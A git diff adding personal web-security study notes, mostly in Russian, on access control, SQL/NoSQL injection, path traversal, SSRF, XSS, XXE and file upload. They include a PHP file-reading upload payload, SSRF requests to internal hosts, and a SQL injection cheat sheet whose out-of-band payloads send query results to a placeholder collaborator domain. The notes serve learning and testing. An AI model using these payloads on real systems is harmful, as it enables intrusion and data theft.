init
This commit is contained in:
@@ -0,0 +1,48 @@
|
||||
**Access control (ограничение доступа)** - приложение, накладывающее ограничения на то, кто или что авторизовано для выбранных действий или запрашиваемых рессурсов. В контексте веб-приложений, ограничение доступа зависит от аутентификации и менеджменте сессий.
|
||||
|
||||
1. **Аутентификация** позволяет определить, что пользователь является тем, кем он представляется.
|
||||
2. **Менеджер сессий** - идентифицирует какие последующие HTTP запросы были сделаны одним и тем же пользователем.
|
||||
3. **Ограничение доступа** определяет, может ли юзер выполнить действие, которое он захотел выполнить.
|
||||
|
||||
Сломанное ограничение доступа часто встречается и представляют из себя критические уязвимости. Разработка и управление системой ограничения доступа это комплексная проблема.
|
||||
|
||||
### Вертикальный контроль доступа
|
||||
|
||||
**Вертикальный контроль доступа** - механизмы, которые ограничивают доступ к конфиденциальным функциям определенным типам пользователей.
|
||||
|
||||
Благодаря вертикальному контролю, разные типы пользователей имеют доступ к различным функциям приложения. К примеру, админ может модифицировать или удалять любой пользовательский аккаунт, в отличие от простого пользователя, который не имеет доступа к этим функциям.
|
||||
|
||||
### Горизонтальный контроль доступа
|
||||
|
||||
**Горизонтальный контроль доступа** - механизм, ограничивающий доступ к ресурсам конкретным пользователям.
|
||||
|
||||
При горизонтальном контроле доступа, разные пользователи имеют доступ к подмножеству рессрсов одного типа. К примеру - приложение банка позволяет пользователю видеть транзакции и оплачивать с помощью их собственного аккаунта, но не с помощью аккаунта других пользователей.
|
||||
|
||||
### Контексто-зависимый контроль доступа
|
||||
|
||||
**Контексто-зависимый контроль доступа** - механизм, ограничивающий доступ к функционалу и ресурсам, основывающийся состоянии приложения или взаимодействия пользователя с ним.
|
||||
|
||||
Контексто-зависимый контроль доступа запрещает пользователю выполнять действия в неправильном порядке. К примеру - пользователь не может менять состав заказа после его оплаты.
|
||||
|
||||
## Примеры сломанного контроля доступа
|
||||
|
||||
### Эскалация вертикального контроля доступа
|
||||
|
||||
Если пользователь может повысить доступ к функционалу, к которому у него не должно быть доступа, то это эскалация вертикального контроля доступа. К примеру, если обычный пользователь может получить доступ к странице администратора, где он может удалять аккаунты других пользователей, это и есть эскалация.
|
||||
|
||||
**Незащищенный функционал**
|
||||
|
||||
В большинстве случаев, эскалация привелегий вертикального контроля доступа происходит, когда сервис не обеспечивает соблюдение какой-либо защиты для чуствительного функционала. например, ссылки могут быть связаны со страницей приветствия администратора, но не со страницы приветствия пользователя.
|
||||
|
||||
Суть в том, что не защищают админскую панель, а просто прячат **robots.txt**
|
||||
Или напрямую в тексте скрипта приложения.
|
||||
|
||||
### Горизонтальная эскалация привеленгий
|
||||
|
||||
**Горизонтальная эскалация** происходит, если пользователь получает доступ к ресурсам, которые предназначенны для другого пользователя, вместо собственных ресурсов такого же типа.
|
||||
|
||||
Пример: если атакующий может получить доступ к записям других пользователей, словно это его записи - это горизонтальная эсказация.
|
||||
|
||||
`https://insecure-website.com/myaccount?id=123`
|
||||
|
||||
если такующий изменяет `id` и получает доступ к аккаунту другого пользователя - это и есть эскалация. (В моем техникуме, на платформе procolledge была горизонтальная эскалация привелегий.)
|
||||
@@ -0,0 +1,35 @@
|
||||
Что бы начать api атаку, необходимо найти настолько много информации об api сервиса, насколько это возможно.
|
||||
|
||||
Для начала, тебе необходимо определить конечные точки API. Это место, куда API получает запросы к раздичным рессурсам на этом сервере. К примеру:
|
||||
```http
|
||||
GET /api/books HTTPS/1.1
|
||||
Host: example.com
|
||||
```
|
||||
|
||||
Конечная точка для этого запроса - `/api/books`. Этот запрос взаимодействует с API для получения списка книг из библиотеки. Другая точка API, к примеру, может запрашивать конкретные жанры книг.
|
||||
|
||||
Как только ты определил эндпоинты - нужно понять как взаимодействовать с ними. Они открывают для тебя возможность построить **HTTP** запрос для API тестирования.
|
||||
К примеру ты сможешь получить:
|
||||
1. Какие данные принимает API
|
||||
2. Типы запросов, которые принимает API
|
||||
3. Ограничения скорости и механизмы аутентификации
|
||||
|
||||
API практически всегда документриуется, что бы разработчики могли с ним взаимодействовать.
|
||||
Документация может быть как и интерпритируемая человеком, так и читаемая только машиной.
|
||||
|
||||
## Изучение документации
|
||||
|
||||
Если документация не открыта, то ты можешь попробовать получить доступ к ней через сервис, который пользуется этим API.
|
||||
К примеру, эти эндпоинты могут отсылать на документацию:
|
||||
- `/api`
|
||||
- `/swagger/index.html`
|
||||
- `/openapi.json`
|
||||
|
||||
## Использование машинной документации
|
||||
|
||||
Утилиты для чтения документации и тестирование эндпоинтов:
|
||||
**Burp Suite Scaner**
|
||||
**OpenAPI Parser**
|
||||
**Postman**
|
||||
**SoapUI**
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
**Уязвимость загрузки файлов** возникает тогда, когда сервер позволяет пользователям загружать файлы в свою файловую систему без надлежащей проверки имени файла, типа, размера и содержимого файла. Неспособность должным образом применить ограничения означает, что даже самая базовая функция загрузки изображения может быть ипользована для загрузки и эксплуатации опасных файлов.
|
||||
|
||||
В некоторых случаях, сам факт загрузки файла может нести в себе опасность. Некоторые атаки могут включать последующий HTTP запрос на иполнение файла.
|
||||
|
||||
## Как возникает уязвимость?
|
||||
|
||||
Учитывая довольно очевидную опасность, редко встретишь сайт без ограничений на загрузку файлов. Например, разработчики могут создать blacklist для опасных типов файлов, но не учитывать расхождения в анализе при проверке расширения файла. Как и в любом черном списке, легко можно опустить менее явные типы файлов, которые всё еще могут быть опасными.
|
||||
|
||||
## Использование неограниченную загрузку файлов для вызова консоли
|
||||
|
||||
Самый худший сценарий - когда сайт дает возможность загружать и запускать файлы php, js, python.
|
||||
|
||||
Поэтому стоит попробовать залить файл на сервер и выполнить его (через запрос в url)
|
||||
|
||||
```php
|
||||
<?php echo file_get_contents('/path/to/target/file'); ?>
|
||||
```
|
||||
|
||||
Если стоит ограничение на **Content-type**, проверить можно ли подменить его в заголовке.
|
||||
|
||||
```http
|
||||
|
||||
POST /images HTTP/1.1
|
||||
Host: normal-website.com
|
||||
Content-Length: 12345
|
||||
Content-Type: multipart/form-data;
|
||||
boundary=---------------------------012345678901234567890123456 ---------------------------012345678901234567890123456
|
||||
Content-Disposition: form-data; name="image"; filename="example.jpg" Content-Type: image/jpeg [...binary content of example.jpg...]
|
||||
---------------------------012345678901234567890123456 Content-Disposition: form-data; name="description" This is an interesting description of my image.
|
||||
---------------------------012345678901234567890123456 Content-Disposition: form-data; name="username" wiener
|
||||
```
|
||||
@@ -0,0 +1,5 @@
|
||||
**Information disclosure (leakage)** - раскрытие информации (сливы) происходит когда сайт непреднамеренно раскрывает конфиденциальную информацию своим пользователям. Обычно таким способом расскрываются:
|
||||
1. Данные о других пользователях
|
||||
2. Важная бизнесс информация
|
||||
3. Технические детали о вебсайте и инфраструктуре.
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
NoSQL иньекции похожи по своей сути с sql, так как задача - получить доступ к данным бд, изменить\удалить данные, вызвать отказ систем или вообще исполнить код на сервере.
|
||||
|
||||
NoSQl базы хранят и управляют данными иначе, нежели SQL. Они используют широкий спектр языков запросов вместо универсального стандарта, такого как SQL, и имеют меньше реляционных ограничений.
|
||||
|
||||
Суещствует 2 вида NOSQL инъекций:
|
||||
1. Внедрение ситаксиса. Методика аналогична той, которая используется при внедрении SQL. Однако характер нападения варьируется Это важно, поскольку базы данных NoSQL используют ряд языков запросов, типов синтаксиса запросов и различных структур данных.
|
||||
2. Внедрение операторов - вы можете использовать операторы запросов для управление запросами.
|
||||
## Иньекция синтаксиса
|
||||
Будем рассматривать синтасис **MongoDB**
|
||||
Рассмотрим пример. Есть сайт, где пользователь может выбрать категорию газированные напитки.
|
||||
```url
|
||||
https://insecure-website.com/product/lookup?category=fizzy
|
||||
```
|
||||
При таком запросе, выполняется JSON запрос для получения соответсвтующих продуктов из колекции product в БД MongoDB
|
||||
```mongodb
|
||||
this.category == 'fizzy'
|
||||
```
|
||||
Что бы проверить на уязвимость, стоит отправить мусорную строку в качетсве значения category.
|
||||
```mongodb
|
||||
'"`{ ;$Foo} $Foo \xYZ
|
||||
```
|
||||
После установления, что система уязвима - отправляете запрос с логическими выражениями **' && 0 && 'x** или **' && 1 && 'x**
|
||||
После обнаружения того, что вы можете влитять на логические операторы, отправляете **'||'1' == '1**.
|
||||
@@ -0,0 +1,8 @@
|
||||
Обход пути - эта уязвимость открывает возможность получения доступа к коду атакуемой программы, учетных записей на сервере, конфиденциальным файлам.
|
||||
Допустим, нам надо попасть в каталог **/etc/passwd**.
|
||||
|
||||
Каким образом можно это сделать?
|
||||
```
|
||||
`https://insecure-website.com/loadImage?filename=`
|
||||
```
|
||||
При копировании юрл фото, если мы увидим, что существует параметр filename, который позволяет нам получить данные файла, то стоит попробовать туда подставить путь до того файла, который нам нужен.
|
||||
@@ -0,0 +1,138 @@
|
||||
# SQL injection cheat sheet
|
||||
|
||||
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.
|
||||
|
||||
## String concatenation
|
||||
|
||||
You can concatenate together multiple strings to make a single string.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`'foo'\|'bar'`|
|
||||
|Microsoft|`'foo'+'bar'`|
|
||||
|PostgreSQL|`'foo'\|'bar'`|
|
||||
|MySQL|`'foo' 'bar'` [Note the space between the two strings] <br>`CONCAT('foo','bar')`|
|
||||
|
||||
## Substring
|
||||
|
||||
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string `ba`.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`SUBSTR('foobar', 4, 2)`|
|
||||
|Microsoft|`SUBSTRING('foobar', 4, 2)`|
|
||||
|PostgreSQL|`SUBSTRING('foobar', 4, 2)`|
|
||||
|MySQL|`SUBSTRING('foobar', 4, 2)`|
|
||||
|
||||
## Comments
|
||||
|
||||
You can use comments to truncate a query and remove the portion of the original query that follows your input.
|
||||
|
||||
| | |
|
||||
| ---------- | -------------------------------------------------------------------------------------- |
|
||||
| Oracle | `--comment ` |
|
||||
| Microsoft | `--comment /*comment*/` |
|
||||
| PostgreSQL | `--comment /*comment*/` |
|
||||
| MySQL | `#comment` <br>`-- comment` [Note the space after the double dash] <br>`/*comment*/` |
|
||||
|
||||
## Database version
|
||||
|
||||
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
|
||||
|
||||
| | |
|
||||
| ---------- | ------------------------------------------------------------------ |
|
||||
| Oracle | `SELECT banner FROM v$version SELECT version FROM v$instance ` |
|
||||
| Microsoft | `SELECT @@version` |
|
||||
| PostgreSQL | `SELECT version()` |
|
||||
| MySQL | `SELECT @@version` |
|
||||
|
||||
## Database contents
|
||||
|
||||
You can list the tables that exist in the database, and the columns that those tables contain.
|
||||
|
||||
| | |
|
||||
| ---------- | ---------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Oracle | `SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'` |
|
||||
| Microsoft | `SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ` |
|
||||
| PostgreSQL | `SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ` |
|
||||
| MySQL | `SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ` |
|
||||
|
||||
## Conditional errors
|
||||
|
||||
You can test a single boolean condition and trigger a database error if the condition is true.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`|
|
||||
|Microsoft|`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`|
|
||||
|PostgreSQL|`1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)`|
|
||||
|MySQL|`SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')`|
|
||||
|
||||
## Extracting data via visible error messages
|
||||
|
||||
You can potentially elicit error messages that leak sensitive data returned by your malicious query.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Microsoft|`SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int.`|
|
||||
|PostgreSQL|`SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret"`|
|
||||
|MySQL|`SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret'`|
|
||||
|
||||
## Batched (or stacked) queries
|
||||
|
||||
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`Does not support batched queries.`|
|
||||
|Microsoft|`QUERY-1-HERE; QUERY-2-HERE QUERY-1-HERE QUERY-2-HERE`|
|
||||
|PostgreSQL|`QUERY-1-HERE; QUERY-2-HERE`|
|
||||
|MySQL|`QUERY-1-HERE; QUERY-2-HERE`|
|
||||
|
||||
#### Note
|
||||
|
||||
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.
|
||||
|
||||
## Time delays
|
||||
|
||||
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`dbms_pipe.receive_message(('a'),10)`|
|
||||
|Microsoft|`WAITFOR DELAY '0:0:10'`|
|
||||
|PostgreSQL|`SELECT pg_sleep(10)`|
|
||||
|MySQL|`SELECT SLEEP(10)`|
|
||||
|
||||
## Conditional time delays
|
||||
|
||||
You can test a single boolean condition and trigger a time delay if the condition is true.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual`|
|
||||
|Microsoft|`IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'`|
|
||||
|PostgreSQL|`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END`|
|
||||
|MySQL|`SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')`|
|
||||
|
||||
## DNS lookup
|
||||
|
||||
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use [Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:<br><br>`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual`<br><br>The following technique works on fully patched Oracle installations, but requires elevated privileges:<br><br>`SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')`|
|
||||
|Microsoft|`exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'`|
|
||||
|PostgreSQL|`copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'`|
|
||||
|MySQL|The following techniques work on Windows only:<br><br>`LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')` <br>`SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'`|
|
||||
|
||||
## DNS lookup with data exfiltration
|
||||
|
||||
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use [Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'\|(SELECT YOUR-QUERY-HERE)\|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual`|
|
||||
|Microsoft|`declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')`|
|
||||
|PostgreSQL|`create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '\|p\|'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();`|
|
||||
|MySQL|The following technique works on Windows only: <br>`SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'`|
|
||||
@@ -0,0 +1,19 @@
|
||||
QL иньекция - возможность злоумышленника вмешиваться в запрос, который делает приложение, к базе данных. Это позволяет получить атаковавшему доступ к тем данным, к которым у него не должно быть доступа.
|
||||
|
||||
## Как распознать наличие возможности SQLi?
|
||||
1. Поставить **'** в конце запроса и посмотреть на ошибки
|
||||
2. Булевые выражения такие как **OR 1=1** **OR 1=2** могут помочь получить доступ к нужным частям БД
|
||||
3. Создавай SQL-запросы, которые вызывают задержку при выполнении, и наблюдай, меняется ли время ответа.
|
||||
**Пример:**
|
||||
Используй функцию задержки, например `SLEEP` в MySQL:
|
||||
`Food' OR SLEEP(5)--`
|
||||
Если сервер обрабатывает инъекцию, то ответ задержится на 5 секунд. Это подтверждает уязвимость.
|
||||
4. **Полезные нагрузки для взаимодействия с сетью (OAST):**
|
||||
Отправляй запросы, которые вызывают сетевую активность при выполнении. Это полезно, если сервер поддерживает вызов внешних ресурсов (например, DNS-запросы или HTTP-запросы).
|
||||
|
||||
**Пример:**
|
||||
Вставляй такие команды, которые обращаются к твоему серверу:
|
||||
`Food' UNION SELECT LOAD_FILE('\\\\yourserver.com\\file')--`
|
||||
Или:
|
||||
`Food'; SELECT pg_sleep(5); -- в PostgreSQL`
|
||||
Ты будешь следить за сетью, чтобы заметить, происходит ли запрос к твоему серверу. Если он произошел — инъекция работает.
|
||||
@@ -0,0 +1,33 @@
|
||||
**Server-side request forgery (SSRF)(подделка запроса)**-уязвимость, которая открывает возможность выполнения на стороне сервиса запросы в непреднамеренное место.
|
||||
Во время типичной атаки, атакующий может заставить сервер подключиться к внутренним серверам в инфраструктуре организации. В другом случае, атакующий заставляет подключаться к произвольным внешним сервисам, что может привести к утечке данных.
|
||||
|
||||
## **SSRF** атака на сервера
|
||||
|
||||
При **SSRF** атаке на сервера, задача атакующего создать запрос назад к серверу, на котором находиться сервис, с помощью **Loopback network interface** (виртуальная сеть, позволяющая серверу взаимодействовать **самому с собой**).
|
||||
|
||||
Это обычно включает в себя подставку ссылки вида `127.0.0.1` или `localhost`.
|
||||
|
||||
Например, представим себе сервис, который позволяет смотреть, в наличии ли товар в выбранном магазине. Что бы получить информацию, приложение должно сделать запрос через различные `Rest APIs`. Оно делает это путем подстановки ссылки в релевантный `API` эндпоинт с помощью `HTTP` запроса с фронта сайта. Когда юзер видит статус о наличии, браузер создает такой запрос:
|
||||
```http
|
||||
POST /product/stock HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
|
||||
```
|
||||
|
||||
Это позволяет серверу сделать запрос к конкретной ссылке, получив и вернув пользователю статус.
|
||||
В данном случае, атакующий может заменить строчку `stokApi` :
|
||||
```http
|
||||
POST /product/stock HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin
|
||||
```
|
||||
|
||||
## **SSRF** атака через другие backend системы
|
||||
|
||||
В большинстве случаев, сервер сервиса меет возможность взаимодействовать с **backend** системы, которые напрямую не доступны пользователям. Такие системы обычно имеют не-маршрутизируемые приватные **IP** адресы. Back-end системы обычно защищены сетевой топологией, которые часто имеют уязвимости.
|
||||
|
||||
Представим, что в прошлом примере панель администратора быда на приватном **IP**
|
||||
|
||||
```http
|
||||
POST /product/stock HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin
|
||||
```
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/WEB/Access control|Access control]]
|
||||
[[cybersec/WEB/Api testing|Api testing]]
|
||||
[[cybersec/WEB/File upload|File upload]]
|
||||
[[cybersec/WEB/Information disclosure|Information disclosure]]
|
||||
[[cybersec/WEB/NoSQL Injection|NoSQL Injection]]
|
||||
[[cybersec/WEB/Path travesal|Path travesal]]
|
||||
[[cybersec/WEB/SQL Injection cheetsheet|SQL Injection cheetsheet]]
|
||||
[[cybersec/WEB/SQL injection|SQL injection]]
|
||||
[[cybersec/WEB/SSRF|SSRF]]
|
||||
[[cybersec/WEB/XSS|XSS]]
|
||||
[[cybersec/WEB/XXE|XXE]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
@@ -0,0 +1,72 @@
|
||||
**XSS** - *cross-site -scripting* - уязвимость, открывающая атакующему поставить под угрозу взаимодействие пользователя с уязвимым приложением. Позволяет обойти политику, котороая разработана для отделения сайтов друг от друга.
|
||||
|
||||
XSS позволяет маскироваться под обычного пользователя, выполняя все действия, которые он может выполнять и получить доступ к любой информации пользователя. Если пользователь-жертва имеет привелегилированный доступ к системе, то это позволит атакующему получить полный доступ к системе и всем данным.
|
||||
|
||||
### Как оно работает?
|
||||
XSS выполняется на стороне браузера жертвы. Атакующий манипулирует сайтом таким образом, что бы тот возвращал вредоносный JS юзерам. Когда вредоносный JS выполнится в браузере жертвы, атакующий сможет получить данные о всем взаимодействии с сервисом.
|
||||
|
||||
## Проверка на наличие XXS
|
||||
|
||||
Вы можете подтвердить большинство xxs, исполнив произвольных java script код в своём браузере. Использование функции alert - общепринятая практика, так как она легкая, безвредная, и ее сложно пропустить при успешном вызове.
|
||||
|
||||
НО, если жертва ипользует chrome, то использовать **alert()** не получится, рекомендуется ипользовать **print()**
|
||||
|
||||
## Типы xss
|
||||
1. **Reflected XSS** - вредоносный скрипт исходит от текущего http запроса
|
||||
2. **Stored XSS** - вредоносный скрипт исходит от базы данных сервиса
|
||||
3. **DOM-based XXS** - уязвимость находится на стороне клиента, а не сервиса
|
||||
|
||||
### Reflected cross site-scripting (Reflected XSS)
|
||||
|
||||
**Reflected XSS** самый простой вариат XSS. Он возникает, когда сервис принимает данные в HTTP запросах и данные сразу возвращаются по небезопасному пути.
|
||||
Небольшой пример:
|
||||
|
||||
```http
|
||||
https://insecure-website.com/status?message=All+is+well.
|
||||
<p>Status: All is well.</p>
|
||||
```
|
||||
|
||||
Сервис не выполняет обработку данных, атакующий может легко составить атаку таким образом:\
|
||||
|
||||
```http
|
||||
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
|
||||
<p>Status: <script>/* Bad stuff here... */</script></p>
|
||||
```
|
||||
|
||||
Если пользователь посетит ссылку, составленную атакующим, тогда скрипт атакующего выполнится в браузере жертвы. Скрипт может выполнять любое действие, получать любые данные к которым у пользователя есть доступ.
|
||||
|
||||
### Stored cross-site scripting (Stored XSS)
|
||||
|
||||
**Stored XSS**, котрые так же извесны как постоянные или XSS второго порядка, возникают когда сервис получает от недоверенного рессурса и включает эти данные в свои последующие HTTP-ответы небезопасным способом.
|
||||
|
||||
Соответствующие данные могут быть отправлены в приложение через HTTP-запросы; например, комментарии к сообщению в блоге, псевдонимы пользователей в чате или контактные данные в заказе клиента. В других случаях данные могут поступать из других ненадежных источников; например, приложение веб-почты, отображающее сообщения, полученные через SMTP, маркетинговое приложение, отображающее сообщения в социальных сетях, или приложение мониторинга сети, отображающее пакетные данные из сетевого трафика.
|
||||
|
||||
Вот простой пример сохраненной XSS-уязвимости. Приложение доски объявлений позволяет пользователям отправлять сообщения, которые отображаются другим пользователям:
|
||||
|
||||
```html
|
||||
<p>Hello, this is my message!</p>
|
||||
```
|
||||
|
||||
Никакой другой обработки данных приложение не выполняет, поэтому злоумышленник может легко отправить сообщение, атакующее других пользователей:
|
||||
|
||||
```html
|
||||
<p><script>/* Bad stuff here... */</script></p>
|
||||
```
|
||||
|
||||
### DOM XSS
|
||||
|
||||
**DOM XSS** возникают, когда сервис включает в сеюя некий javascript код на стороне клиента, который обрабатывает данные из недоверенных источников.
|
||||
|
||||
В приведенном ниже примере, сервис использует JS для чтения значения в полях ввода и записать считанные данные в HTML.
|
||||
|
||||
```js
|
||||
var search = document.getElementById('search').value;
|
||||
var results = document.getElementById('results');
|
||||
results.innerHTML = 'You searched for: ' + search;
|
||||
```
|
||||
|
||||
Если атакующий может контролировать значение в поле ввода, то он легко может составить вирусное значение, которое может выполнить их код.
|
||||
Обычно, поле для ввода используется как HTTP запрос, что позволяет атакующему составить атаку используя вирусную ссылку, так же как в **Reflective XSS**
|
||||
```html
|
||||
<img src=1 onerror='/* Bad stuff here... */'>
|
||||
```
|
||||
@@ -0,0 +1,24 @@
|
||||
**XML external entity (XXE)** - уязвимость, открывающая атакующему возможность вмешиваться в обработку приложением данных XML. Обычно это открывает возможность атакующему просматривать файлы на сервере приложения и взаимодействовать с любым back-end или дополнительной системой, к которой имеет доступ само приложение.
|
||||
|
||||
## Что такое XML?
|
||||
|
||||
**XML - extensible markup language** - расширяемый язык разметки, предназначенный для хранения и транспортировки данных. Как и HTML, использует древоподобную структуру тегов и данных. Ранее был в моде как формат данных для транспортировки, но сейчас в основном используют **json**.
|
||||
|
||||
**XML сущьность** - способ представления элемента данных в ввиде XML документа, вместо использования оригинальных данных. Это значит, что < И > будут представленны как **<** и **>**
|
||||
|
||||
**DTD (Document type definition)** - содержит объявления, которые могут определить структуру XML документа, типы данных и другие элементы. Объявляется в отдельном DOCTYPE в начале документа.
|
||||
|
||||
```XML
|
||||
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
|
||||
```
|
||||
В качестве примера.
|
||||
|
||||
## Использование XML для получения файлов
|
||||
|
||||
Что бы провести XXE иньекцию, которая возвращает файлы из файловой системы, необходимо модифицировать XML. Есть два пути:
|
||||
1. Объявление или редактирование DOCTYPE элемента, который объявляет внешнюю сущность, имеющую доступ к файловой системе.
|
||||
2. Изменение данных в XML, который возвращаяется в ответе приложения, чтобы использовать определенную внешнюю сущность.
|
||||
|
||||
## Эксплуатация XXE для совершения SSRF атаки
|
||||
|
||||
Для совершения такой гибридной атаки необходимо объявить внешнюю XML сущность используя необходимую нам ссылку, и использовать объявленную переменную как данные.
|
||||
Reference in New Issue
Block a user